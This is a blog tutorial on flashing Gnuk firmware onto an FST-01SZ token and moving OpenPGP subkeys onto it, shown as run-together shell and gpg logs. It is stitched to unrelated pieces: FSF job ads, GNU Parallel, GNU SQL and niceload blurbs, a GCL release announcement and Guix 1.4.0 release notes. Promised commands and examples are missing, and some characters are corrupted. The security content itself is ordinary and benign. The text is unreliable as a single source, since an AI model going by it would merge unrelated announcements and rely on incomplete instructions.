Similar to setting up the FST-01G, the FST-01SZ needs to be setup before use. I’m doing the following from Trisquel 11 but any GNU/Linux system would work. When the device is inserted at first time, some kernel messages are shown (see /var/log/syslog or use the dmesg command):
usb 3-3: new full-speed USB device number 39 using xhci\_hcdusb 3-3: New USB device found, idVendor=234b, idProduct=0004, bcdDevice= 2.00usb 3-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3usb 3-3: Product: Frauchekyusb 3-3: Manufacturer: Free Software Initiative of Japanusb 3-3: SerialNumber: FSIJ-0.0usb-storage 3-3:1.0: USB Mass Storage device detectedscsi host1: usb-storage 3-3:1.0scsi 1:0:0:0: Direct-Access FSIJ Fraucheky 1.0 PQ: 0 ANSI: 0sd 1:0:0:0: Attached scsi generic sg2 type 0sd 1:0:0:0: [sdc] 128 512-byte logical blocks: (65.5 kB/64.0 KiB)sd 1:0:0:0: [sdc] Write Protect is offsd 1:0:0:0: [sdc] Mode Sense: 03 00 00 00sd 1:0:0:0: [sdc] No Caching mode page foundsd 1:0:0:0: [sdc] Assuming drive cache: write through sdc:sd 1:0:0:0: [sdc] Attached SCSI removable disk
Interestingly, the NeuG software installed on the device I got appears to be version 1.0.9:
jas@kaka:~$ head /media/jas/Fraucheky/READMENeuG - a true random number generator implementation Version 1.0.9 2018-11-20 Niibe Yutaka Free Software Initiative of JapanWhat's NeuG?============jas@kaka:~$
I could not find version 1.0.9 published anywhere, but the device came with a SD-card that contain a copy of the source, so I uploaded it until a more canonical place is located. Putting the device in the serial mode can be done using a sudo eject /dev/sdc command which results in the following syslog output.
usb 3-3: reset full-speed USB device number 39 using xhci\_hcdusb 3-3: device firmware changedusb 3-3: USB disconnect, device number 39sdc: detected capacity change from 128 to 0usb 3-3: new full-speed USB device number 40 using xhci\_hcdusb 3-3: New USB device found, idVendor=234b, idProduct=0001, bcdDevice= 2.00usb 3-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3usb 3-3: Product: NeuG True RNGusb 3-3: Manufacturer: Free Software Initiative of Japanusb 3-3: SerialNumber: FSIJ-1.0.9-42315277cdc\_acm 3-3:1.0: ttyACM0: USB ACM device
Now download Gnuk, verify its integrity and build it. You may need some additional packages installed, try apt-get install gcc-arm-none-eabi openocd python3-usb. As you can see, I’m using the stable 1.2 branch of Gnuk, currently on version 1.2.20. The ./configure parameters deserve some explanation. The kdf\_do=required sets up the device to require KDF usage. The --enable-factory-reset allows me to use the command factory-reset (with admin PIN) inside gpg --card-edit to completely wipe the card. Some may consider that too dangerous, but my view is that if someone has your admin PIN it is game over anyway. The --vidpid=234b:0000 is specifies the USB VID/PID to use, and --target=FST\_01SZ is critical to set the platform (you’ll may brick the device if you pick the wrong --target setting).
jas@kaka:~/src$ rm -rf gnuk neugjas@kaka:~/src$ git clone https://gitlab.com/jas/neug.gitCloning into 'neug'...remote: Enumerating objects: 2034, done.remote: Counting objects: 100% (2034/2034), done.remote: Compressing objects: 100% (603/603), done.remote: Total 2034 (delta 1405), reused 2013 (delta 1405), pack-reused 0Receiving objects: 100% (2034/2034), 910.34 KiB | 3.50 MiB/s, done.Resolving deltas: 100% (1405/1405), done.jas@kaka:~/src$ git clone https://salsa.debian.org/gnuk-team/gnuk/gnuk.gitCloning into 'gnuk'...remote: Enumerating objects: 13765, done.remote: Counting objects: 100% (959/959), done.remote: Compressing objects: 100% (337/337), done.remote: Total 13765 (delta 629), reused 907 (delta 599), pack-reused 12806Receiving objects: 100% (13765/13765), 12.59 MiB | 3.05 MiB/s, done.Resolving deltas: 100% (10077/10077), done.jas@kaka:~/src$ cd neugjas@kaka:~/src/neug$ git describe release/1.0.9jas@kaka:~/src/neug$ git tag -v `git describe`object 5d51022a97a5b7358d0ea62bbbc00628c6cec06atype committag release/1.0.9tagger NIIBE Yutaka <gniibe@fsij.org> 1542701768 +0900Version 1.0.9.gpg: Signature made Tue Nov 20 09:16:08 2018 CETgpg: using EDDSA key 249CB3771750745D5CDD323CE267B052364F028Dgpg: issuer "gniibe@fsij.org"gpg: Good signature from "NIIBE Yutaka <gniibe@fsij.org>" [unknown]gpg: aka "NIIBE Yutaka <gniibe@debian.org>" [unknown]gpg: WARNING: This key is not certified with a trusted signature!gpg: There is no indication that the signature belongs to the owner.Primary key fingerprint: 249C B377 1750 745D 5CDD 323C E267 B052 364F 028Djas@kaka:~/src/neug$ cd ../gnuk/jas@kaka:~/src/gnuk$ git checkout STABLE-BRANCH-1-2 Branch 'STABLE-BRANCH-1-2' set up to track remote branch 'STABLE-BRANCH-1-2' from 'origin'.Switched to a new branch 'STABLE-BRANCH-1-2'jas@kaka:~/src/gnuk$ git describerelease/1.2.20jas@kaka:~/src/gnuk$ git tag -v `git describe`object 9d3c08bd2beb73ce942b016d4328f0a596096c02type committag release/1.2.20tagger NIIBE Yutaka <gniibe@fsij.org> 1650594032 +0900Gnuk: Version 1.2.20gpg: Signature made Fri Apr 22 04:20:32 2022 CESTgpg: using EDDSA key 249CB3771750745D5CDD323CE267B052364F028Dgpg: Good signature from "NIIBE Yutaka <gniibe@fsij.org>" [unknown]gpg: aka "NIIBE Yutaka <gniibe@debian.org>" [unknown]gpg: WARNING: This key is not certified with a trusted signature!gpg: There is no indication that the signature belongs to the owner.Primary key fingerprint: 249C B377 1750 745D 5CDD 323C E267 B052 364F 028Djas@kaka:~/src/gnuk/src$ git submodule update --initSubmodule 'chopstx' (https://salsa.debian.org/gnuk-team/chopstx/chopstx.git) registered for path '../chopstx'Cloning into '/home/jas/src/gnuk/chopstx'...Submodule path '../chopstx': checked out 'e12a7e0bb3f004c7bca41cfdb24c8b66daf3db89'jas@kaka:~/src/gnuk$ cd chopstxjas@kaka:~/src/gnuk/chopstx$ git describerelease/1.21jas@kaka:~/src/gnuk/chopstx$ git tag -v `git describe`object e12a7e0bb3f004c7bca41cfdb24c8b66daf3db89type committag release/1.21tagger NIIBE Yutaka <gniibe@fsij.org> 1650593697 +0900Chopstx: Version 1.21gpg: Signature made Fri Apr 22 04:14:57 2022 CESTgpg: using EDDSA key 249CB3771750745D5CDD323CE267B052364F028Dgpg: Good signature from "NIIBE Yutaka <gniibe@fsij.org>" [unknown]gpg: aka "NIIBE Yutaka <gniibe@debian.org>" [unknown]gpg: WARNING: This key is not certified with a trusted signature!gpg: There is no indication that the signature belongs to the owner.Primary key fingerprint: 249C B377 1750 745D 5CDD 323C E267 B052 364F 028Djas@kaka:~/src/gnuk/chopstx$ cd ../srcjas@kaka:~/src/gnuk/src$ kdf\_do=required ./configure --enable-factory-reset --vidpid=234b:0000 --target=FST\_01SZHeader file is: board-fst-01sz.hDebug option disabledConfigured for bare system (no-DFU)PIN pad option disabledCERT.3 Data Object is NOT supportedCard insert/removal by HID device is NOT supportedLife cycle management is supportedAcknowledge button is supportedKDF DO is required before key import/generationjas@kaka:~/src/gnuk/src$ make | lessjas@kaka:~/src/gnuk/src$ cd ../regnual/jas@kaka:~/src/gnuk/regnual$ make | lessjas@kaka:~/src/gnuk/regnual$ cd ../../jas@kaka:~/src$ sudo python3 neug/tool/neug\_upgrade.py -f gnuk/regnual/regnual.bin gnuk/src/build/gnuk.bingnuk/regnual/regnual.bin: 4608gnuk/src/build/gnuk.bin: 109568CRC32: b93ca829Device: Configuration: 1Interface: 120000e00:20005000Downloading flash upgrade program...start 20000e00end 20002000# 20002000: 32 : 4Run flash upgrade program...Wait 1 second...Wait 1 second...Device: 08001000:08020000Downloading the programstart 08001000end 0801ac00jas@kaka:~/src$
The kernel log will contain the following, and the card is ready to use as an OpenPGP card. You may unplug it and re-insert it as you wish.
usb 3-3: reset full-speed USB device number 41 using xhci\_hcdusb 3-3: device firmware changedusb 3-3: USB disconnect, device number 41usb 3-3: new full-speed USB device number 42 using xhci\_hcdusb 3-3: New USB device found, idVendor=234b, idProduct=0000, bcdDevice= 2.00usb 3-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3usb 3-3: Product: Gnuk Tokenusb 3-3: Manufacturer: Free Software Initiative of Japanusb 3-3: SerialNumber: FSIJ-1.2.20-42315277
Setting up the card is the next step, and there are many tutorials around for this, eventually I settled with the following sequence. Let’s start with setting the admin PIN. First make sure that pcscd nor scdaemon is running, which is good hygien since those processes cache some information and with a stale connection this easily leads to confusion. Cache invalidation… sigh.
Now it would be natural to setup the PIN and reset code. However the Gnuk software is configured to not allow this until the keys are imported. You would get the following somewhat cryptical error messages if you try. This took me a while to understand, since this is device-specific, and some other OpenPGP implementations allows you to configure a PIN and reset code before key import.
Your selection? 4Error setting the Reset Code: Card error1 - change PIN2 - unblock PIN3 - change Admin PIN4 - set the Reset CodeQ - quitYour selection? 1Error changing the PIN: Conditions of use not satisfied1 - change PIN2 - unblock PIN3 - change Admin PIN4 - set the Reset CodeQ - quitYour selection? q
Continue to configure the card and make it ready for key import. Some settings deserve comments. The lang field may be used to setup the language, but I have rarely seen it use, and I set it to ‘sv‘ (Swedish) mostly to be able to experiment if any software adhears to it. The URL is important to point to somewhere where your public key is stored, the fetch command of gpg --card-edit downloads it and sets up GnuPG with it when you are on a clean new laptop. The forcesig command changes the default so that a PIN code is not required for every digital signature operation, remember that I averaged 10 signatures per day for the past 2-3 years? Think of the wasted energy typing those PIN codes every time! Changing the cryptographic key type is required when I import 25519-based keys.
gpg/card> nameCardholder's surname: JosefssonCardholder's given name: Simongpg/card> langLanguage preferences: svgpg/card> sexSalutation (M = Mr., F = Ms., or space): mgpg/card> loginLogin data (account name): jasgpg/card> urlURL to retrieve public key: https://josefsson.org/key-20190320.txtgpg/card> forcesiggpg/card> key-attrChanging card key attribute for: Signature keyPlease select what kind of key you want: (1) RSA (2) ECCYour selection? 2Please select which elliptic curve you want: (1) Curve 25519 (4) NIST P-384Your selection? 1The card will now be re-configured to generate a key of type: ed25519Note: There is no guarantee that the card supports the requested size. If the key generation does not succeed, please check the documentation of your card to see what sizes are allowed.Changing card key attribute for: Encryption keyPlease select what kind of key you want: (1) RSA (2) ECCYour selection? 2Please select which elliptic curve you want: (1) Curve 25519 (4) NIST P-384Your selection? 1The card will now be re-configured to generate a key of type: cv25519Changing card key attribute for: Authentication keyPlease select what kind of key you want: (1) RSA (2) ECCYour selection? 2Please select which elliptic curve you want: (1) Curve 25519 (4) NIST P-384Your selection? 1The card will now be re-configured to generate a key of type: ed25519gpg/card> Reader ...........: 234B:0000:FSIJ-1.2.20-42315277:0Application ID ...: D276000124010200FFFE423152770000Application type .: OpenPGPVersion ..........: 2.0Manufacturer .....: unmanaged S/N rangeSerial number ....: 42315277Name of cardholder: Simon JosefssonLanguage prefs ...: svSalutation .......: Mr.URL of public key : https://josefsson.org/key-20190320.txtLogin data .......: jasSignature PIN ....: not forcedKey attributes ...: ed25519 cv25519 ed25519Max. PIN lengths .: 127 127 127PIN retry counter : 3 3 3Signature counter : 0KDF setting ......: onSignature key ....: [none]Encryption key....: [none]Authentication key: [none]General key info..: [none]gpg/card>
The device is now ready for key import! Bring out your offline laptop and boot it and use the keytocard command on the subkeys to import them. This assumes you saved a copy of the GnuPG home directory after generating the master and subkeys before, which I did in my own previous tutorial when I generated the keys. This may be a bit unusual, and there are simpler ways to do this (e.g., import a copy of the secret keys into a fresh GnuPG home directory).
$ cp -a gnupghome-backup-mastersubkeys gnupghome-import-fst01sz-42315277-2022-12-24$ ps auxww|grep -e pcsc -e scd$ gpg --homedir $PWD/gnupghome-import-fst01sz-42315277-2022-12-24 --edit-key B1D2BD1375BECB784CF4F8C4D73CF638C53C06BE...Secret key is available.gpg: checking the trustdbgpg: marginals needed: 3 completes needed: 1 trust model: pgpgpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1usec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> key 1sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb* cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> keytocardPlease select where to store the key: (2) Encryption keyYour selection? 2sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb* cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> key 1sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> key 2sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb* ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> keytocardPlease select where to store the key: (3) Authentication keyYour selection? 3sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb* ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> key 2sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> key 3sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb* ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> keytocardPlease select where to store the key: (1) Signature key (3) Authentication keyYour selection? 1sec ed25519/D73CF638C53C06BE created: 2019-03-20 expired: 2019-10-22 usage: SC trust: ultimate validity: expiredssb cv25519/02923D7EE76EBD60 created: 2019-03-20 expired: 2019-10-22 usage: E ssb ed25519/80260EE8A9B92B2B created: 2019-03-20 expired: 2019-10-22 usage: A ssb* ed25519/51722B08FE4745A2 created: 2019-03-20 expired: 2019-10-22 usage: S [ expired] (1). Simon Josefsson <simon@josefsson.org>gpg> quitSave changes? (y/N) y$
Now insert it into your daily laptop and have GnuPG and learn about the new private keys and forget about any earlier locally available card bindings — this usually manifests itself by GnuPG asking you to insert a OpenPGP card with another serial number. Earlier I did rm -rf ~/.gnupg/private-keys-v1.d/ but the scd serialno followed by learn --force is nicer. I also sets up trust setting for my own key.
Verify that you can digitally sign and authenticate using the key and you are done!
jas@kaka:~$ echo foo|gpg -a --sign|gpg --verifygpg: Signature made Sat Dec 24 13:49:59 2022 CETgpg: using EDDSA key A3CC9C870B9D310ABAD4CF2F51722B08FE4745A2gpg: Good signature from "Simon Josefsson <simon@josefsson.org>" [ultimate]jas@kaka:~$ ssh-add -Lssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzCFcHHrKzVSPDDarZPYqn89H5TPaxwcORgRg+4DagE cardno:FFFE42315277jas@kaka:~$
So time to relax and celebrate christmas? Hold on… not so fast! Astute readers will have noticed that the output said ‘PIN retry counter: 5 5 5‘. That’s not the default PIN retry counter for Gnuk! How did that happen? Indeed, good catch and great question, my dear reader. I wanted to include how you can modify the Gnuk source code, re-build it and re-flash the Gnuk as well. This method is different than flashing Gnuk onto a device that is running NeuG so the commands I used to flash the firmware in the start of this blog post no longer works in a device running Gnuk. Fortunately modern Gnuk supports updating firmware by specifying the Admin PIN code only, and provides a simple script to achieve this as well. The PIN retry counter setting is hard coded in the openpgp-do.c file, and we run a a perl command to modify the file, rebuild Gnuk and upgrade the FST-01SZ. This of course wipes all your settings, so you will have the opportunity to practice all the commands earlier in this post once again!
The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to protect and promote computer-user freedom, seeks a motivated and organized Boston-based individual to be our full-time operations assistant.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Greetings! The GCL team is happy to announce the release of version 2.6.13, the latest achievement in the 'stable' (as opposed to 'development') series. Please see http://www.gnu.org/software/gcl for downloading information.
This release consolidates several years of work on GCL internals, performance and ansi compliance.
Garbage collection has been overhauled and significantly accelerated. Contiguous block handling is now as fast as or perhaps faster than relblock handling, leading to the now implemented promotion of relblock data to contiguous after a surviving a number of gc calls. Relblock is only written once during gc. Heap allocation is fully dynamic at runtime and controllable with environment variables without recompilation. While SGC is supported, it is found in practice to be less useful with modern large memory cores and is off by default.
GCC on several platforms defaults to code which must lie within a common 2Gb space, now an issue with heaps routinely larger than this. Error protection for code address overflow is in place on most machines. The variable si::*code-block-reserve* can be set to a static array of element type 'character to preallocate a code block early within an acceptable range. On amd64, compile-file takes a :large-memory-model-p keyword (with compiler::*default-large-memory-model-p*) to compile somewhat slower code which can be loaded at an arbitrary address.
The COMMON-LISP package is fixed to the ansi standard. A CLTL1-COMPAT package is defined to support earlier applications, and is used in non-ansi builds.
GCL can optionally manage a single heap load across multiple processes via the GCL\_MULTIPROCESS\_MEMORY\_POOL environment variable. GCL can compile gprof profiling code in non-profiling images using the :prof-p keyword to compile, causing '(si::gprof-start)(...)(si::gprof-quit)' to only report calls to such code. GCL supports riscv4, and 64bit cygwin on Windows in addition to the previous 21 architectures. GCL has extensive support for hardware floating point exception handling via the #'si::break-on-floating-point-exceptions function, taking the floating point errors as keyword arguments.
Several ANSI compliance errors have been fixed, most particularly in pathnames and restarts. Hashtables have been accelerated, supporting caching, static allocation, and 'equalp tests.
Circle detection and handling has been greatly accelerated, using the gc marking algorithm for a copy-less implementation.
The compiler no longer writes data files reordering "package-operations", changing the data file format to one loadable on object file initialization.
Floating point reading and writing has been made more precise. Inf/nan handling matches IEEE specifications.
The Free Software Foundation (FSF), a Massachusetts 501(c)(3)charity with a worldwide mission to protect computer user freedom,seeks a motivated and talented Boston-based individual to be ourfull-time deputy director.
We are pleased to announce the release of GNU Guix version 1.4.0!
The release comes with ISO-9660 installation images, a virtual machineimage, and with tarballs to install the package manager on top of yourGNU/Linux distro, either from source or from binaries—check out thedownload page. Guix users canupdate by running guix pull.
It’s been 18 months since the previousrelease.That’s a lot of time, reflecting both the fact that, as a rollingrelease, users continuously get new features and update by runningguix pull; but let’s face it, it also shows an area where we could andshould collectively improve our processes. During that time, Guixreceived about 29,000 commits by 453 people, which includes importantnew features as we’ll see; the project also changedmaintainers,structured cooperation asteams, andcelebrated its ten-yearanniversary!
Illustration by Luis Felipe, published under CC-BY-SA 4.0.
This post provides highlights for all the hard work that went into thisrelease—and yes, these are probably the longest release notes in Guix’shistory, so make yourself comfortable, relax, and enjoy.
Bonus! Here’s achiptune(by Trevor Lentz, underCC-BY-SA 3.0) our illustrator Luis Felipe recommends that you listento before going further.
Improved software environment management
One area where Guix shines is the management of softwareenvironments. The guix environment command was designed for thatbut it suffered from a clumsy interface. It is now superseded by guix shell,though we are committed to keeping guix environment until at least May1st, 2023. guix shell is a tool that’s interesting to developers, butit’s also a useful tool when you’re willing to try out software withoutcommitting it to your profile with guix install. Let’s say you wantto play SuperTuxKart but would rather nothave it in your profile because, hey, it’s a professional laptop; here’show you would launch it, fetching it first if necessary:
guix shell supertuxkart -- supertuxkart
In addition to providing a simpler interface, guix shell significantlyimproves performance through caching. It also simplifies developerworkflows by automatically recognizing guix.scm and manifest.scmfiles present in a directory: drop one of these in your project andother developers can get started hacking just by running guix shell,without arguments. Speaking of which: --export-manifest will get youstarted by “converting� command-line arguments into a manifest. Readmore about guix shell in themanual.
Another guix shell innovation is optional emulation of thefilesystem hierarchy standard (FHS). TheFHS specifieslocations for different file categories—/bin for essential commandbinaries, /lib for libraries, and so on. Guix with itsstoredoes not adhere to the FHS, which prevents users from running programsthat assume FHS adherence. The new --emulate-fhs (or -F) flag ofguix shell, combined with --container (-C), instructs it to createa container environment that follows the FHS. This is best illustratedwith this example, where the ls command of the coreutils packageappears right under /bin, as if we were on an FHS system like Debian:
Another big new feature is Guix Home. In a nutshell, Home bringsthe declarative nature of Guix System to your home environment: itlets you declare all the aspects of your home environments—“dot files�,services, and packages—and can instantiate that environment, in youractual $HOME or in acontainer.
If you’re already maintaining your dot files under version control, orif you would like to keep things under control so you don’t have tospend days or weeks configuring again next time you switch laptops, thisis the tool you need. Check out this excellentintroductionthat David Wilson gave at the Ten Years celebration, and read moreabout Guix Home in themanual.
Since the 1.3.0 release, the project started maintaining analternative buildfarmat https://bordeaux.guix.gnu.org. It’s independent from the buildfarm at ci.guix.gnu.org (donated and hosted by the Max Delbrück Centerfor Molecular Medicine in Berlin, Germany), which has two benefits: itlets us challenge substitutes produced by eachsystem,and it provides redundancy should one of these two build farms go down.Guix is now configured by default to fetch substitutes from any of thesetwo build farms. In addition, abug was fixed, ensuring that Guixgracefully switches to another substitute provider when one goes down.
Those who’ve come to enjoy declarative deployment of entire fleets ofmachines will probably like the new --execute option of guix deploy.
Stronger distribution
The distribution itself has seen lots of changes. First, the GuixSystem installer received a number of bug fixes and it now includes anew mechanism that allows users to automatically report useful debugginginformation in case of a crash. This will help developers address bugsthat occur with unusual configurations.
Guix System is now using version 0.9 of theGNU Shepherd, which addressesshortcomings, improves logging, and adds features such as systemd-styleservice activation and inetd-style service startup. Speaking ofservices, the new guix system editsub-commandprovides an additional way for users to inspect services, completingguix system search and guix system extension-graph.
A new interface is available to declare swapspacein operating system configurations. This interface is more expressiveand more flexible than what was available before.
Similarly, the interface to declare static networkingconfigurationhas been overhauled. On GNU/Linux, it lets you do roughly the same asthe ip command, only in a declarative fashion and with static checksto prevent you from deploying obviously broken configurations.
More than 5,300 packages were added for a total of almost 22,000packages, making Guix one of the top-ten biggest distros according toRepology. Among the many noteworthy packageupgrades and addition, GNOME 42 is now available. KDE is not thereyet but tens of KDE packages have been added so we’re getting closer;Qt 6 is also available. The distribution also comes with GCC 12.2.0,GNU libc 2.33, Xfce 4.16, Linux-libre 6.0.10, LibreOffice 7.4.3.2, andEmacs 28.2 (with just-in-time compilation support!).
In other news, motivated by the fact that Python 2 officially reached“end of life� in 2020, more than 500 Python 2 packages wereremoved—those whose name starts with python2-. This includes “bigones� like python2-numpy and python2-scipy. Those who still needthese have two options: using guix time-machineto jump to an older commit that contains the packages they need, orusing the Guix-Pastchannel to build some of those old packages in today’senvironments—scientific computing is one area where this may come inhandy.
On top of that, the Web site features a new packagebrowser—at last! Among other things,the package browse provides stable package URLs likehttps://packages.guix.gnu.org/packages/PACKAGE.
The NEWSfilelists additional noteworthy changes and bug fixes you may beinterested in.
More documentation
As with past releases, we have worked on documentation to make Guix moreapproachable. “How-to� kind of sections have been written or improved,such as:
A salient feature of Guix is its support for reproducible softwaredeployment. There are several aspects to that, one of which is beingable to retrieve source code from the Software Heritagearchive.While Guix was already able to fetch the source code of packages fromSoftware Heritage as a fallback, with version 1.4.0 the source code ofGuix channels is automatically fetched from Software Heritage if itsoriginal URL has become unreachable.
In addition, Guix is now able to retrieve and restore source codetarballs such as tar.gz files. Software Heritage archives thecontents of tarballs, but not tarball themselves. This created animpedance mismatch for Guix, where the majority of packagedefinitionsrefer to tarballs and expect to be able to verify the content hash ofthe tarball itself. To bridge this gap, Timothy Sample developedDisarchive, a tool thatcan (1) extract tarball metadata, and (2) assemblepreviously-extracted metadata and actual files to reconstruct a tarball,as shown in the diagram below.
The Guix project has set up a continuousintegration job to build aDisarchive database, which is available atdisarchive.gnu.org. The databaseincludes metadata for all the tarballs packages refer to. When a sourcecode tarball disappears, Guix now transparently retrieves tarballmetadata from Disarchive database, fetches file contents from SoftwareHeritage, and reconstructs the original tarball. As of the“Preservation of Guix Report�published in January 2022, almost 75% of the .tar.gz files packagesrefer to are now fully archived with Disarchive and Software Heritage.Running guix lint -c archival PKG will tell you about the archivalstatus of PKG.You can read more in the annual report ofGuix-HPC.
This is a significant step forward to provide, for the first time, atool that can redeploy past software environments while maintaining theconnection between source code and binaries.
Application bundles and system images
The guix packcommandto create “application bundles�—standalone application images—hasbeen extended: guix pack -f deb creates a standalone .deb packagethat can be installed on Debian and derivative distros; the new--symlink flag makes it create symlinks within the image.
At the system level, the new guix system imagecommandsupersedes previously existing guix system sub-commands, providing asingle entry point to build images of all types: raw disk images, QCOW2virtual machine images, ISO8660 CD/DVD images, Docker images, and evenimages for Microsoft’s Windows Subsystem for Linux(WSL2). Thiscomes with a high-levelinterfacethat lets you declare the type of image you want: the storage format,partitions, and of course the operating system for that image. Tofacilitate its use, predefined image types are provided:
That includes forexamplean image type for the Pine64 machines and for the GNU/Hurd operatingsystem. For example, this is how you’d create an QCOW2 virtual machineimage suitable for QEMU:
guix system image -t qcow2 my-operating-system.scm
Likewise, here’s how you’d create, on your x86\_64 machine, an image foryour Pine64 board, ready to be transferred to an SD card or similarstorage device that the board will boot from:
guix system image -t pine64-raw my-operating-system.scm
The pine64-raw image type specifies that software in the image isactually cross-compiled to aarch64-linux-gnu—that is, GNU/Linux onan AArch64 CPU, with the appropriate U-Bootvariant asits bootloader. Sky’s the limit!
Nicer packaging experience
A significant change that packagers will immediately notice ispackagesimplification,introduced shortly after 1.3.0. The most visible effect is that packagedefinitions now look clearer:
The new guix stylecommandcan automatically convert from the “old� style to the “new� style ofpackage inputs. It can also reformat whole Scheme files following thestylistic canons du jour, which is particularly handy when gettingstarted with the language.
That’s just the tip of the iceberg: the new modify-inputsmacromakes package input manipulation easier and clearer, and one can useG-expressionsfor instance in package phases. Read our earlierannouncement formore info. On top of that, the new field sanitizer mechanism is usedto validate some fields; for instance, the license field is nowtype-checked and the Texinfo syntax of description and synopsis isvalidated, all without any run-time overhead in common cases. We hopethese changes will make it easier to get started with packaging.
The guix build command has new flags, --list-systems and--list-targets, to list supported system types (which may bepassed to --system) and cross-compilation target triplets (for usewith --target). Under the hood, the new (guix platform) module letsdevelopers define “platforms�—a combination of CPU architecture andoperating system—in an abstract way, unifying various bits ofinformation previously scattered around.
In addition, packagers can now mark as“tunable�packages that would benefit from CPU micro-architectureoptimizations, enabled with --tune.
Python packaging has seen important changes. First, the pythonpackage now honors the GUIX\_PYTHONPATH environment variable ratherthan PYTHONPATH. That ensures that Python won’t unwillingly pick uppackages not provided by Guix. Second, the newpyproject-build-systemimplements PEP 517. It complementsthe existing python-build-system, and both may eventually be mergedtogether.
What’s great with packaging is when it comes for free. The guix importcommandgained support for several upstream package repositories: minetest(extensions of the Minetest game), elm (the Elm programming language),egg (for CHICKEN Scheme), and hexpm (for Erlang and Elixirpackages). Existing importers have seen various improvements. Theguix refreshcommandto automatically update package definitions has a new generic-gitupdater.
